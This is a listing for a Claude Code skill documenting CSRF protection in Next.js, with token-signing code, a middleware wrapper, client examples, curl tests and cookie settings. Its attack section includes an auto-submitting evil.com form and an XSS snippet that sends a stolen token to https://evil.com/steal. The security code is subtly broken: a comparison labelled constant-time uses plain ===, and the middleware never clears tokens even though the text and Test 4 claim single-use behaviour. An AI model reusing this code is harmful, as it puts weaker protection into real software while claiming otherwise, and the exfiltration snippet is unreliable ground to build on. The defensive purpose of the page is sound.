Back to Skills

csrf-protection

harperaa
Updated Yesterday
19 views
0
View on GitHub
Metaapi

About

This skill implements CSRF protection for API routes by adding token validation to secure POST/PUT/DELETE endpoints. Use it when you need to prevent cross-site attacks, protect form submissions, or validate session tokens. It handles generating and verifying CSRF tokens to block unauthorized requests.

Documentation

CSRF Protection - Preventing Cross-Site Request Forgery

What CSRF Attacks Are

The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.

Real-World CSRF Attacks

Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?

  • It's invisible when it works (users don't know they made a request)
  • Easy to forget to implement (no obvious broken functionality)
  • Developers often rely solely on authentication without checking request origin

Our CSRF Architecture

Implementation Features

  1. HMAC-SHA256 Cryptographic Signing (industry standard)

    • Provides cryptographic proof token was generated by our server
    • Even if intercepted, attackers can't forge tokens without secret key
  2. Session-Bound Tokens

    • Tokens can't be used across different user sessions
    • Each user gets unique tokens
  3. Single-Use Tokens

    • Token cleared after validation
    • Window of opportunity is seconds, not hours
    • If captured, useless after one request
  4. HTTP-Only Cookies

    • JavaScript cannot access tokens
    • Prevents XSS-based token theft
  5. SameSite=Strict

    • Browser won't send cookie on cross-origin requests
    • Additional layer of protection

Implementation Files

  • lib/csrf.ts - Cryptographic token generation
  • lib/withCsrf.ts - Middleware enforcing verification
  • app/api/csrf/route.ts - Token endpoint for clients

How to Use CSRF Protection

Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};

Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});

Step 3: What Happens Automatically

When withCsrf() wraps your handler:

  1. Extracts CSRF token from X-CSRF-Token header
  2. Extracts CSRF cookie from request
  3. Verifies token matches cookie using HMAC
  4. Clears token after validation (single-use)
  5. If valid → calls your handler
  6. If invalid → returns HTTP 403 Forbidden

Complete Example: Protected Contact Form

// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: '[email protected]',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

Frontend Integration Example

// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}

Attack Scenarios & Protection

Attack 1: Malicious Website Submits Form

Attack:

<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>

Protection:

  • No CSRF token in request → withCsrf() returns 403
  • User's account safe

Attack 2: XSS Attempts to Read Token

Attack:

// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });

Protection:

  • Token is single-use
  • Even if stolen, expires after one request
  • HTTPOnly cookies prevent cookie theft
  • SameSite=Strict prevents cross-origin cookie sending

Attack 3: Man-in-the-Middle Captures Token

Attack: Attacker intercepts network traffic and captures CSRF token.

Protection:

  • Single-use tokens become invalid after one use
  • HTTPS required in production (enforced by HSTS)
  • Short window of opportunity (seconds)

Technical Implementation Details

Token Generation (lib/csrf.ts)

import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}

Middleware Wrapper (lib/withCsrf.ts)

import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}

What CSRF Protection Prevents

Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents

Common Mistakes to Avoid

DON'T skip CSRF for POST/PUT/DELETE

// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}

DON'T put CSRF tokens in URL parameters

// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)

DON'T reuse tokens

// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid

DON'T forget credentials: 'include'

// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});

DO fetch fresh token for each sensitive operationDO use X-CSRF-Token header (not URL)DO apply to all state-changing operationsDO combine with rate limiting for maximum protection

Testing CSRF Protection

Test 1: Valid Request

# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK

Test 2: Missing Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing

Test 3: Invalid Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid

Test 4: Token Reuse (Should Fail)

# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

Secure Cookie Configuration

Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});

Security Properties Explained:

  • httpOnly: true - JavaScript cannot access the cookie via document.cookie, preventing XSS theft
  • sameSite: 'strict' - Browser won't send cookie on cross-origin requests, blocking CSRF
  • secure: true - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
  • maxAge - Cookie expiration time in seconds (shorter = more secure)
  • path: '/' - Where cookie is valid (restrict if possible)

Common Cookie Mistakes to Avoid

NEVER do this:

// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });

ALWAYS do this:

// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});

Environment Configuration

Required Environment Variables

# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>

Generate Secrets

# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ IMPORTANT:

  • Never commit secrets to version control
  • Use different secrets for dev/staging/production
  • Rotate secrets periodically (quarterly recommended)

References

Next Steps

  • For rate limiting protection: Use rate-limiting skill
  • For input validation: Use input-validation skill
  • For complete API security: Combine CSRF + rate limiting + validation
  • For testing: Use security-testing skill

Quick Install

/plugin add https://github.com/harperaa/secure-claude-skills/tree/main/csrf-protection

Copy and paste this command in Claude Code to install this skill

GitHub 仓库

harperaa/secure-claude-skills
Path: csrf-protection

Related Skills

evaluating-llms-harness

Testing

This Claude Skill runs the lm-evaluation-harness to benchmark LLMs across 60+ standardized academic tasks like MMLU and GSM8K. It's designed for developers to compare model quality, track training progress, or report academic results. The tool supports various backends including HuggingFace and vLLM models.

View skill

langchain

Meta

LangChain is a framework for building LLM applications using agents, chains, and RAG pipelines. It supports multiple LLM providers, offers 500+ integrations, and includes features like tool calling and memory management. Use it for rapid prototyping and deploying production systems like chatbots, autonomous agents, and question-answering services.

View skill

huggingface-accelerate

Development

HuggingFace Accelerate provides the simplest API for adding distributed training to PyTorch scripts with just 4 lines of code. It offers a unified interface for multiple distributed training frameworks like DeepSpeed, FSDP, and DDP while handling automatic device placement and mixed precision. This makes it ideal for developers who want to quickly scale their PyTorch training across multiple GPUs or nodes without complex configuration.

View skill

nestjs

Meta

This skill provides NestJS development standards and architectural patterns for building domain-centric applications. It covers modular design, dependency injection, decorator patterns, and key framework features like controllers, services, middleware, and interceptors. Use it when developing NestJS applications, implementing APIs, configuring microservices, or integrating with databases.

View skill